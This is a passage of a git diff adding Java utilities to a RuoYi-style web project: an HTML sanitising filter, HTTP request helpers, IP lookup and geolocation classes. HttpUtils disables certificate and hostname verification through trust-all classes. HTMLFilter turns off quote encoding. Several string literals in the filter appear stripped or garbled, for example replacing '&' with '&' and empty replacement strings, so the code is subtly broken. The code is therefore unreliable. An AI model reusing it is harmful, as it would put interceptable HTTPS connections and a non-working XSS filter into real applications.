vNeedClosingTags; + /** + * set of disallowed html elements + **/ + private final String[] vDisallowed; + /** + * attributes which should be checked for valid protocols + **/ + private final String[] vProtocolAtts; + /** + * allowed protocols + **/ + private final String[] vAllowedProtocols; + /** + * tags which should be removed if they contain no content (e.g. "" or "") + **/ + private final String[] vRemoveBlanks; + /** + * entities allowed within html markup + **/ + private final String[] vAllowedEntities; + /** + * flag determining whether comments are allowed in input String. + */ + private final boolean stripComment; + private final boolean encodeQuotes; + /** + * flag determining whether to try to make tags when presented with "unbalanced" angle brackets (e.g. "" + * becomes " text "). If set to false, unbalanced angle brackets will be html escaped. + */ + private final boolean alwaysMakeTags; + + /** + * Default constructor. + */ + public HTMLFilter() + { + vAllowed = new HashMap<>(); + + final ArrayList a_atts = new ArrayList<>(); + a_atts.add("href"); + a_atts.add("target"); + vAllowed.put("a", a_atts); + + final ArrayList img_atts = new ArrayList<>(); + img_atts.add("src"); + img_atts.add("width"); + img_atts.add("height"); + img_atts.add("alt"); + vAllowed.put("img", img_atts); + + final ArrayList no_atts = new ArrayList<>(); + vAllowed.put("b", no_atts); + vAllowed.put("strong", no_atts); + vAllowed.put("i", no_atts); + vAllowed.put("em", no_atts); + + vSelfClosingTags = new String[] { "img" }; + vNeedClosingTags = new String[] { "a", "b", "strong", "i", "em" }; + vDisallowed = new String[] {}; + vAllowedProtocols = new String[] { "http", "mailto", "https" }; // no ftp. + vProtocolAtts = new String[] { "src", "href" }; + vRemoveBlanks = new String[] { "a", "b", "strong", "i", "em" }; + vAllowedEntities = new String[] { "amp", "gt", "lt", "quot" }; + stripComment = true; + encodeQuotes = true; + alwaysMakeTags = false; + } + + /** + * Map-parameter configurable constructor. + * + * @param conf map containing configuration. keys match field names. + */ + @SuppressWarnings("unchecked") + public HTMLFilter(final Map conf) + { + + assert conf.containsKey("vAllowed") : "configuration requires vAllowed"; + assert conf.containsKey("vSelfClosingTags") : "configuration requires vSelfClosingTags"; + assert conf.containsKey("vNeedClosingTags") : "configuration requires vNeedClosingTags"; + assert conf.containsKey("vDisallowed") : "configuration requires vDisallowed"; + assert conf.containsKey("vAllowedProtocols") : "configuration requires vAllowedProtocols"; + assert conf.containsKey("vProtocolAtts") : "configuration requires vProtocolAtts"; + assert conf.containsKey("vRemoveBlanks") : "configuration requires vRemoveBlanks"; + assert conf.containsKey("vAllowedEntities") : "configuration requires vAllowedEntities"; + + vAllowed = Collections.unmodifiableMap((HashMap>) conf.get("vAllowed")); + vSelfClosingTags = (String[]) conf.get("vSelfClosingTags"); + vNeedClosingTags = (String[]) conf.get("vNeedClosingTags"); + vDisallowed = (String[]) conf.get("vDisallowed"); + vAllowedProtocols = (String[]) conf.get("vAllowedProtocols"); + vProtocolAtts = (String[]) conf.get("vProtocolAtts"); + vRemoveBlanks = (String[]) conf.get("vRemoveBlanks"); + vAllowedEntities = (String[]) conf.get("vAllowedEntities"); + stripComment = conf.containsKey("stripComment") ? (Boolean) conf.get("stripComment") : true; + encodeQuotes = conf.containsKey("encodeQuotes") ? (Boolean) conf.get("encodeQuotes") : true; + alwaysMakeTags = conf.containsKey("alwaysMakeTags") ? (Boolean) conf.get("alwaysMakeTags") : true; + } + + private void reset() + { + vTagCounts.clear(); + } + + // --------------------------------------------------------------- + // my versions of some PHP library functions + public static String chr(final int decimal) + { + return String.valueOf((char) decimal); + } + + public static String htmlSpecialChars(final String s) + { + String result = s; + result = regexReplace(P_AMP, "&", result); + result = regexReplace(P_QUOTE, """, result); + result = regexReplace(P_LEFT_ARROW, "<", result); + result = regexReplace(P_RIGHT_ARROW, ">", result); + return result; + } + + // --------------------------------------------------------------- + + /** + * given a user submitted input String, filter out any invalid or restricted html. + * + * @param input text (i.e. submitted by a user) than may contain html + * @return "clean" version of input, with only valid, whitelisted html elements allowed + */ + public String filter(final String input) + { + reset(); + String s = input; + + s = escapeComments(s); + + s = balanceHTML(s); + + s = checkTags(s); + + s = processRemoveBlanks(s); + + // s = validateEntities(s); + + return s; + } + + public boolean isAlwaysMakeTags() + { + return alwaysMakeTags; + } + + public boolean isStripComments() + { + return stripComment; + } + + private String escapeComments(final String s) + { + final Matcher m = P_COMMENTS.matcher(s); + final StringBuffer buf = new StringBuffer(); + if (m.find()) + { + final String match = m.group(1); // (.*?) + m.appendReplacement(buf, Matcher.quoteReplacement("")); + } + m.appendTail(buf); + + return buf.toString(); + } + + private String balanceHTML(String s) + { + if (alwaysMakeTags) + { + // + // try and form html + // + s = regexReplace(P_END_ARROW, "", s); + // 不追加结束标签 + s = regexReplace(P_BODY_TO_END, "<$1>", s); + s = regexReplace(P_XML_CONTENT, "$1<$2", s); + + } + else + { + // + // escape stray brackets + // + s = regexReplace(P_STRAY_LEFT_ARROW, "<$1", s); + s = regexReplace(P_STRAY_RIGHT_ARROW, "$1$2><", s); + + // + // the last regexp causes '<>' entities to appear + // (we need to do a lookahead assertion so that the last bracket can + // be used in the next pass of the regexp) + // + s = regexReplace(P_BOTH_ARROWS, "", s); + } + + return s; + } + + private String checkTags(String s) + { + Matcher m = P_TAGS.matcher(s); + + final StringBuffer buf = new StringBuffer(); + while (m.find()) + { + String replaceStr = m.group(1); + replaceStr = processTag(replaceStr); + m.appendReplacement(buf, Matcher.quoteReplacement(replaceStr)); + } + m.appendTail(buf); + + // these get tallied in processTag + // (remember to reset before subsequent calls to filter method) + final StringBuilder sBuilder = new StringBuilder(buf.toString()); + for (String key : vTagCounts.keySet()) + { + for (int ii = 0; ii < vTagCounts.get(key); ii++) + { + sBuilder.append(""); + } + } + s = sBuilder.toString(); + + return s; + } + + private String processRemoveBlanks(final String s) + { + String result = s; + for (String tag : vRemoveBlanks) + { + if (!P_REMOVE_PAIR_BLANKS.containsKey(tag)) + { + P_REMOVE_PAIR_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?>")); + } + result = regexReplace(P_REMOVE_PAIR_BLANKS.get(tag), "", result); + if (!P_REMOVE_SELF_BLANKS.containsKey(tag)) + { + P_REMOVE_SELF_BLANKS.putIfAbsent(tag, Pattern.compile("<" + tag + "(\\s[^>]*)?/>")); + } + result = regexReplace(P_REMOVE_SELF_BLANKS.get(tag), "", result); + } + + return result; + } + + private static String regexReplace(final Pattern regex_pattern, final String replacement, final String s) + { + Matcher m = regex_pattern.matcher(s); + return m.replaceAll(replacement); + } + + private String processTag(final String s) + { + // ending tags + Matcher m = P_END_TAG.matcher(s); + if (m.find()) + { + final String name = m.group(1).toLowerCase(); + if (allowed(name)) + { + if (!inArray(name, vSelfClosingTags)) + { + if (vTagCounts.containsKey(name)) + { + vTagCounts.put(name, vTagCounts.get(name) - 1); + return ""; + } + } + } + } + + // starting tags + m = P_START_TAG.matcher(s); + if (m.find()) + { + final String name = m.group(1).toLowerCase(); + final String body = m.group(2); + String ending = m.group(3); + + // debug( "in a starting tag, name='" + name + "'; body='" + body + "'; ending='" + ending + "'" ); + if (allowed(name)) + { + final StringBuilder params = new StringBuilder(); + + final Matcher m2 = P_QUOTED_ATTRIBUTES.matcher(body); + final Matcher m3 = P_UNQUOTED_ATTRIBUTES.matcher(body); + final List paramNames = new ArrayList<>(); + final List paramValues = new ArrayList<>(); + while (m2.find()) + { + paramNames.add(m2.group(1)); // ([a-z0-9]+) + paramValues.add(m2.group(3)); // (.*?) + } + while (m3.find()) + { + paramNames.add(m3.group(1)); // ([a-z0-9]+) + paramValues.add(m3.group(3)); // ([^\"\\s']+) + } + + String paramName, paramValue; + for (int ii = 0; ii < paramNames.size(); ii++) + { + paramName = paramNames.get(ii).toLowerCase(); + paramValue = paramValues.get(ii); + + // debug( "paramName='" + paramName + "'" ); + // debug( "paramValue='" + paramValue + "'" ); + // debug( "allowed? " + vAllowed.get( name ).contains( paramName ) ); + + if (allowedAttribute(name, paramName)) + { + if (inArray(paramName, vProtocolAtts)) + { + paramValue = processParamProtocol(paramValue); + } + params.append(' ').append(paramName).append("=\\\"").append(paramValue).append("\\\""); + } + } + + if (inArray(name, vSelfClosingTags)) + { + ending = " /"; + } + + if (inArray(name, vNeedClosingTags)) + { + ending = ""; + } + + if (ending == null || ending.length() < 1) + { + if (vTagCounts.containsKey(name)) + { + vTagCounts.put(name, vTagCounts.get(name) + 1); + } + else + { + vTagCounts.put(name, 1); + } + } + else + { + ending = " /"; + } + return "<" + name + params + ending + ">"; + } + else + { + return ""; + } + } + + // comments + m = P_COMMENT.matcher(s); + if (!stripComment && m.find()) + { + return "<" + m.group() + ">"; + } + + return ""; + } + + private String processParamProtocol(String s) + { + s = decodeEntities(s); + final Matcher m = P_PROTOCOL.matcher(s); + if (m.find()) + { + final String protocol = m.group(1); + if (!inArray(protocol, vAllowedProtocols)) + { + // bad protocol, turn into local anchor link instead + s = "#" + s.substring(protocol.length() + 1); + if (s.startsWith("#//")) + { + s = "#" + s.substring(3); + } + } + } + + return s; + } + + private String decodeEntities(String s) + { + StringBuffer buf = new StringBuffer(); + + Matcher m = P_ENTITY.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.decode(match).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + buf = new StringBuffer(); + m = P_ENTITY_UNICODE.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.valueOf(match, 16).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + buf = new StringBuffer(); + m = P_ENCODE.matcher(s); + while (m.find()) + { + final String match = m.group(1); + final int decimal = Integer.valueOf(match, 16).intValue(); + m.appendReplacement(buf, Matcher.quoteReplacement(chr(decimal))); + } + m.appendTail(buf); + s = buf.toString(); + + s = validateEntities(s); + return s; + } + + private String validateEntities(final String s) + { + StringBuffer buf = new StringBuffer(); + + // validate entities throughout the string + Matcher m = P_VALID_ENTITIES.matcher(s); + while (m.find()) + { + final String one = m.group(1); // ([^&;]*) + final String two = m.group(2); // (?=(;|&|$)) + m.appendReplacement(buf, Matcher.quoteReplacement(checkEntity(one, two))); + } + m.appendTail(buf); + + return encodeQuotes(buf.toString()); + } + + private String encodeQuotes(final String s) + { + if (encodeQuotes) + { + StringBuffer buf = new StringBuffer(); + Matcher m = P_VALID_QUOTES.matcher(s); + while (m.find()) + { + final String one = m.group(1); // (>|^) + final String two = m.group(2); // ([^<]+?) + final String three = m.group(3); // (<|$) + // 不替换双引号为",防止json格式无效 regexReplace(P_QUOTE, """, two) + m.appendReplacement(buf, Matcher.quoteReplacement(one + two + three)); + } + m.appendTail(buf); + return buf.toString(); + } + else + { + return s; + } + } + + private String checkEntity(final String preamble, final String term) + { + + return ";".equals(term) && isValidEntity(preamble) ? '&' + preamble : "&" + preamble; + } + + private boolean isValidEntity(final String entity) + { + return inArray(entity, vAllowedEntities); + } + + private static boolean inArray(final String s, final String[] array) + { + for (String item : array) + { + if (item != null && item.equals(s)) + { + return true; + } + } + return false; + } + + private boolean allowed(final String name) + { + return (vAllowed.isEmpty() || vAllowed.containsKey(name)) && !inArray(name, vDisallowed); + } + + private boolean allowedAttribute(final String name, final String paramName) + { + return allowed(name) && (vAllowed.isEmpty() || vAllowed.get(name).contains(paramName)); + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java new file mode 100644 index 0000000..589d123 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpHelper.java @@ -0,0 +1,55 @@ +package com.ruoyi.common.utils.http; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; +import javax.servlet.ServletRequest; +import org.apache.commons.lang3.exception.ExceptionUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 通用http工具封装 + * + * @author ruoyi + */ +public class HttpHelper +{ + private static final Logger LOGGER = LoggerFactory.getLogger(HttpHelper.class); + + public static String getBodyString(ServletRequest request) + { + StringBuilder sb = new StringBuilder(); + BufferedReader reader = null; + try (InputStream inputStream = request.getInputStream()) + { + reader = new BufferedReader(new InputStreamReader(inputStream, StandardCharsets.UTF_8)); + String line = ""; + while ((line = reader.readLine()) != null) + { + sb.append(line); + } + } + catch (IOException e) + { + LOGGER.warn("getBodyString出现问题!"); + } + finally + { + if (reader != null) + { + try + { + reader.close(); + } + catch (IOException e) + { + LOGGER.error(ExceptionUtils.getMessage(e)); + } + } + } + return sb.toString(); + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java new file mode 100644 index 0000000..714ef02 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/http/HttpUtils.java @@ -0,0 +1,317 @@ +package com.ruoyi.common.utils.http; + +import java.io.*; +import java.net.*; +import java.nio.charset.StandardCharsets; +import java.security.cert.X509Certificate; +import java.util.Map; +import javax.net.ssl.HostnameVerifier; +import javax.net.ssl.HttpsURLConnection; +import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLSession; +import javax.net.ssl.TrustManager; +import javax.net.ssl.X509TrustManager; + +import com.alibaba.fastjson2.JSONObject; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; + +/** + * 通用http发送方法 + * + * @author ruoyi + */ +public class HttpUtils +{ + private static final Logger log = LoggerFactory.getLogger(HttpUtils.class); + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url) + { + return sendGet(url, StringUtils.EMPTY); + } + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url, String param) + { + return sendGet(url, param, Constants.UTF8); + } + + /** + * 向指定 URL 发送GET方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @param contentType 编码类型 + * @return 所代表远程资源的响应结果 + */ + public static String sendGet(String url, String param, String contentType) + { + StringBuilder result = new StringBuilder(); + BufferedReader in = null; + try + { + String urlNameString = StringUtils.isNotBlank(param) ? url + "?" + param : url; + log.debug("sendGet - {}", urlNameString); + URL realUrl = new URL(urlNameString); + URLConnection connection = realUrl.openConnection(); + connection.setRequestProperty("accept", "*/*"); + connection.setRequestProperty("connection", "Keep-Alive"); + connection.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + connection.connect(); + in = new BufferedReader(new InputStreamReader(connection.getInputStream(), contentType)); + String line; + while ((line = in.readLine()) != null) + { + result.append(line); + } + log.debug("recv - {}", result); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendGet ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendGet SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendGet IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendGet Exception, url=" + url + ",param=" + param, e); + } + finally + { + try + { + if (in != null) + { + in.close(); + } + } + catch (Exception ex) + { + log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); + } + } + return result.toString(); + } + + /** + * 向指定 URL 发送POST方法的请求 + * + * @param url 发送请求的 URL + * @param param 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 + * @return 所代表远程资源的响应结果 + */ + public static String sendPost(String url, String param) + { + PrintWriter out = null; + BufferedReader in = null; + StringBuilder result = new StringBuilder(); + try + { + log.debug("sendPost - {}", url); + URL realUrl = new URL(url); + URLConnection conn = realUrl.openConnection(); + conn.setRequestProperty("accept", "*/*"); + conn.setRequestProperty("connection", "Keep-Alive"); + conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + conn.setRequestProperty("Accept-Charset", "utf-8"); + conn.setRequestProperty("contentType", "utf-8"); + conn.setDoOutput(true); + conn.setDoInput(true); + out = new PrintWriter(conn.getOutputStream()); + out.print(param); + out.flush(); + in = new BufferedReader(new InputStreamReader(conn.getInputStream(), StandardCharsets.UTF_8)); + String line; + while ((line = in.readLine()) != null) + { + result.append(line); + } + log.debug("recv - {}", result); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendPost ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendPost SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendPost IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendPost Exception, url=" + url + ",param=" + param, e); + } + finally + { + try + { + if (out != null) + { + out.close(); + } + if (in != null) + { + in.close(); + } + } + catch (IOException ex) + { + log.error("调用in.close Exception, url=" + url + ",param=" + param, ex); + } + } + return result.toString(); + } + + public static String sendSSLPost(String url, String param) + { + StringBuilder result = new StringBuilder(); + String urlNameString = url + "?" + param; + try + { + log.debug("sendSSLPost - {}", urlNameString); + SSLContext sc = SSLContext.getInstance("SSL"); + sc.init(null, new TrustManager[] { new TrustAnyTrustManager() }, new java.security.SecureRandom()); + URL console = new URL(urlNameString); + HttpsURLConnection conn = (HttpsURLConnection) console.openConnection(); + conn.setRequestProperty("accept", "*/*"); + conn.setRequestProperty("connection", "Keep-Alive"); + conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)"); + conn.setRequestProperty("Accept-Charset", "utf-8"); + conn.setRequestProperty("contentType", "utf-8"); + conn.setDoOutput(true); + conn.setDoInput(true); + + conn.setSSLSocketFactory(sc.getSocketFactory()); + conn.setHostnameVerifier(new TrustAnyHostnameVerifier()); + conn.connect(); + InputStream is = conn.getInputStream(); + BufferedReader br = new BufferedReader(new InputStreamReader(is)); + String ret = ""; + while ((ret = br.readLine()) != null) + { + if (ret != null && !"".equals(ret.trim())) + { + result.append(new String(ret.getBytes(StandardCharsets.ISO_8859_1), StandardCharsets.UTF_8)); + } + } + log.debug("recv - {}", result); + conn.disconnect(); + br.close(); + } + catch (ConnectException e) + { + log.error("调用HttpUtils.sendSSLPost ConnectException, url=" + url + ",param=" + param, e); + } + catch (SocketTimeoutException e) + { + log.error("调用HttpUtils.sendSSLPost SocketTimeoutException, url=" + url + ",param=" + param, e); + } + catch (IOException e) + { + log.error("调用HttpUtils.sendSSLPost IOException, url=" + url + ",param=" + param, e); + } + catch (Exception e) + { + log.error("调用HttpsUtil.sendSSLPost Exception, url=" + url + ",param=" + param, e); + } + return result.toString(); + } + + private static class TrustAnyTrustManager implements X509TrustManager + { + @Override + public void checkClientTrusted(X509Certificate[] chain, String authType) + { + } + + @Override + public void checkServerTrusted(X509Certificate[] chain, String authType) + { + } + + @Override + public X509Certificate[] getAcceptedIssuers() + { + return new X509Certificate[] {}; + } + } + + private static class TrustAnyHostnameVerifier implements HostnameVerifier + { + @Override + public boolean verify(String hostname, SSLSession session) + { + return true; + } + } + + /** + * post携带json请求 静态方法 + * + * @param reqUrl 请求地址 + * @param jsonParameters 参数 + * @return + */ + public static String doPostWithJson(String reqUrl, Map jsonParameters) { + + BufferedReader reader = null; + try { + //创建连接 + URL url = new URL(reqUrl); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setDoOutput(true); + connection.setDoInput(true); + connection.setUseCaches(false); + connection.setInstanceFollowRedirects(true); + //设置请求方式 + connection.setRequestMethod("POST"); + //设置发送数据的格式 + connection.setRequestProperty("Content-Type", "application/json"); + connection.connect(); + //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 + //utf-8编码 + OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); + out.append(JSONObject.toJSONString(jsonParameters)); + out.flush(); + out.close(); + //读取响应 + reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); + String line; + String res = ""; + while ((line = reader.readLine()) != null) { + res += line; + } + reader.close(); + + return res; + } catch (IOException e) { + log.error("post请求错误", e); + } + //自定义错误信息 + return "error"; + + } +} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java new file mode 100644 index 0000000..edfe419 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/AddressUtils.java @@ -0,0 +1,56 @@ +package com.ruoyi.common.utils.ip; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.http.HttpUtils; + +/** + * 获取地址类 + * + * @author ruoyi + */ +public class AddressUtils +{ + private static final Logger log = LoggerFactory.getLogger(AddressUtils.class); + + // IP地址查询 + public static final String IP_URL = "http://whois.pconline.com.cn/ipJson.jsp"; + + // 未知地址 + public static final String UNKNOWN = "XX XX"; + + public static String getRealAddressByIP(String ip) + { + // 内网不查询 + if (IpUtils.internalIp(ip)) + { + return "内网IP"; + } + if (RuoYiConfig.isAddressEnabled()) + { + try + { + String rspStr = HttpUtils.sendGet(IP_URL, "ip=" + ip + "&json=true", Constants.GBK); + if (StringUtils.isEmpty(rspStr)) + { + log.error("获取地理位置异常 {}", ip); + return UNKNOWN; + } + JSONObject obj = JSON.parseObject(rspStr); + String region = obj.getString("pro"); + String city = obj.getString("city"); + return String.format("%s %s", region, city); + } + catch (Exception e) + { + log.error("获取地理位置异常 {}", ip); + } + } + return UNKNOWN; + } +} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java new file mode 100644 index 0000000..369e7d6 --- /dev/null +++ b/ruoyi-common/src/main/java/com/ruoyi/common/utils/ip/IpUtils.java @@ -0,0 +1,439 @@ +package com.ruoyi.common.utils.ip; + +import java.io.InputStream; +import java.lang.reflect.Method; +import java.net.InetAddress; +import java.net.UnknownHostException; +import javax.servlet.http.HttpServletRequest; + +import cn.hutool.core.io.IoUtil; +import com.ruoyi.common.utils.ServletUtils; +import com.ruoyi.common.utils.StringUtils; +import org.lionsoul.ip2region.DataBlock; +import org.lionsoul.ip2region.DbConfig; +import org.lionsoul.ip2region.DbSearcher; +import org.lionsoul.ip2region.Util; +import org.springframework.core.io.ClassPathResource; + +/** + * 获取IP方法 + * + * @author ruoyi + */ +public class IpUtils +{ + public final static String REGX_0_255 = "(25[0-5]|2[0-4]\\d|1\\d{2}|[1-9]\\d|\\d)"; + // 匹配 ip + public final static String REGX_IP = "((" + REGX_0_255 + "\\.){3}" + REGX_0_255 + ")"; + public final static String REGX_IP_WILDCARD = "(((\\*\\.){3}\\*)|(" + REGX_0_255 + "(\\.\\*){3})|(" + REGX_0_255 + "\\." + REGX_0_255 + ")(\\.\\*){2}" + "|((" + REGX_0_255 + "\\.){3}\\*))"; + // 匹配网段 + public final static String REGX_IP_SEG = "(" + REGX_IP + "\\-" + REGX_IP + ")"; + + /** + * 获取客户端IP + * + * @return IP地址 + */ + public static String getIpAddr() + { + return getIpAddr(ServletUtils.getRequest()); + } + + /** + * 获取客户端IP + * + * @param request 请求对象 + * @return IP地址 + */ + public static String getIpAddr(HttpServletRequest request) + { + if (request == null) + { + return "unknown"; + } + String ip = request.getHeader("x-forwarded-for"); + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("X-Forwarded-For"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("WL-Proxy-Client-IP"); + } + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getHeader("X-Real-IP"); + } + + if (ip == null || ip.length() == 0 || "unknown".equalsIgnoreCase(ip)) + { + ip = request.getRemoteAddr(); + } + + return "0:0:0:0:0:0:0:1".equals(ip) ? "127.0.0.1" : getMultistageReverseProxyIp(ip); + } + /** + * 根据IP地址获取城市 + * @param ip + * @return + */ + public static String getCityInfo(String ip) { + try { + // 读取jar包内的配置文件信息 + ClassPathResource resource = new ClassPathResource("static/ip2region.db"); + InputStream inputStream = resource.getInputStream(); + byte[] dbBinStr = IoUtil.readBytes(inputStream); + + //查询算法 + int algorithm = DbSearcher.MEMORY_ALGORITYM; //B-tree + //DbSearcher.BINARY_ALGORITHM //Binary + //DbSearcher.MEMORY_ALGORITYM //Memory + + DbConfig config = new DbConfig(); + DbSearcher searcher = new DbSearcher(config, dbBinStr); + Method method; + switch ( algorithm ) + { + case DbSearcher.BTREE_ALGORITHM: + method = searcher.getClass().getMethod("btreeSearch", String.class); + break; + case DbSearcher.BINARY_ALGORITHM: + method = searcher.getClass().getMethod("binarySearch", String.class); + break; + case DbSearcher.MEMORY_ALGORITYM: + method = searcher.getClass().getMethod("memorySearch", String.class); + break; + default: + return null; + } + DataBlock dataBlock; + String[] split = ip.split(","); + for (String s : split) { + if (Util.isIpAddress(s)) { + ip=s; + } + } + dataBlock = (DataBlock) method.invoke(searcher, ip); + return dataBlock.getRegion(); + } catch (Exception e) { + e.printStackTrace(); + } + return null; + } + + /** + * 检查是否为内部IP地址 + * + * @param ip IP地址 + * @return 结果 + */ + public static boolean internalIp(String ip) + { + byte[] addr = textToNumericFormatV4(ip); + return internalIp(addr) || "127.0.0.1".equals(ip); + } + + /** + * 检查是否为内部IP地址 + * + * @param addr byte地址 + * @return 结果 + */ + private static boolean internalIp(byte[] addr) + { + if (StringUtils.isNull(addr) || addr.length < 2) + { + return true; + } + final byte b0 = addr[0]; + final byte b1 = addr[1]; + // 10.x.x.x/8 + final byte SECTION_1 = 0x0A; + // 172.16.x.x/12 + final byte SECTION_2 = (byte) 0xAC; + final byte SECTION_3 = (byte) 0x10; + final byte SECTION_4 = (byte) 0x1F; + // 192.168.x.x/16 + final byte SECTION_5 = (byte) 0xC0; + final byte SECTION_6 = (byte) 0xA8; + switch (b0) + { + case SECTION_1: + return true; + case SECTION_2: + if (b1 >= SECTION_3 && b1 <= SECTION_4) + { + return true; + } + case SECTION_5: + switch (b1) + { + case SECTION_6: + return true; + } + default: + return false; + } + } + + /** + * 将IPv4地址转换成字节 + * + * @param text IPv4地址 + * @return byte 字节 + */ + public static byte[] textToNumericFormatV4(String text) + { + if (text.length() == 0) + { + return null; + } + + byte[] bytes = new byte[4]; + String[] elements = text.split("\\.", -1); + try + { + long l; + int i; + switch (elements.length) + { + case 1: + l = Long.parseLong(elements[0]); + if ((l < 0L) || (l > 4294967295L)) + { + return null; + } + bytes[0] = (byte) (int) (l >> 24 & 0xFF); + bytes[1] = (byte) (int) ((l & 0xFFFFFF) >> 16 & 0xFF); + bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 2: + l = Integer.parseInt(elements[0]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[0] = (byte) (int) (l & 0xFF); + l = Integer.parseInt(elements[1]); + if ((l < 0L) || (l > 16777215L)) + { + return null; + } + bytes[1] = (byte) (int) (l >> 16 & 0xFF); + bytes[2] = (byte) (int) ((l & 0xFFFF) >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 3: + for (i = 0; i < 2; ++i) + { + l = Integer.parseInt(elements[i]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[i] = (byte) (int) (l & 0xFF); + } + l = Integer.parseInt(elements[2]); + if ((l < 0L) || (l > 65535L)) + { + return null; + } + bytes[2] = (byte) (int) (l >> 8 & 0xFF); + bytes[3] = (byte) (int) (l & 0xFF); + break; + case 4: + for (i = 0; i < 4; ++i) + { + l = Integer.parseInt(elements[i]); + if ((l < 0L) || (l > 255L)) + { + return null; + } + bytes[i] = (byte) (int) (l & 0xFF); + } + break; + default: + return null; + } + } + catch (NumberFormatException e) + { + return null; + } + return bytes; + } + + /** + * 获取IP地址 + * + * @return 本地IP地址 + */ + public static String getHostIp() + { + try + { + return InetAddress.getLocalHost().getHostAddress(); + } + catch (UnknownHostException e) + { + } + return "127.0.0.1"; + } + + /** + * 获取主机名 + * + * @return 本地主机名 + */ + public static String getHostName() + { + try + { + return InetAddress.getLocalHost().getHostName(); + } + catch (UnknownHostException e) + { + } + return "未知"; + } + + /** + * 从多级反向代理中获得第一个非unknown IP地址 + * + * @param ip 获得的IP地址 + * @return 第一个非unknown IP地址 + */ + public static String getMultistageReverseProxyIp(String ip) + { + // 多级反向代理检测 + if (ip != null && ip.indexOf(",") > 0) + { + final String[] ips = ip.trim().split(","); + for (String subIp : ips) + { + if (false == isUnknown(subIp)) + { + ip = subIp; + break; + } + } + } + return StringUtils.substring(ip, 0, 255); + } + + /** + * 检测给定字符串是否为未知,多用于检测HTTP请求相关 + * + * @param checkString 被检测的字符串 + * @return 是否未知 + */ + public static boolean isUnknown(String checkString) + { + return StringUtils.isBlank(checkString) || "unknown".equalsIgnoreCase(checkString); + } + + /** + * 是否为IP + */ + public static boolean isIP(String ip) + { + return 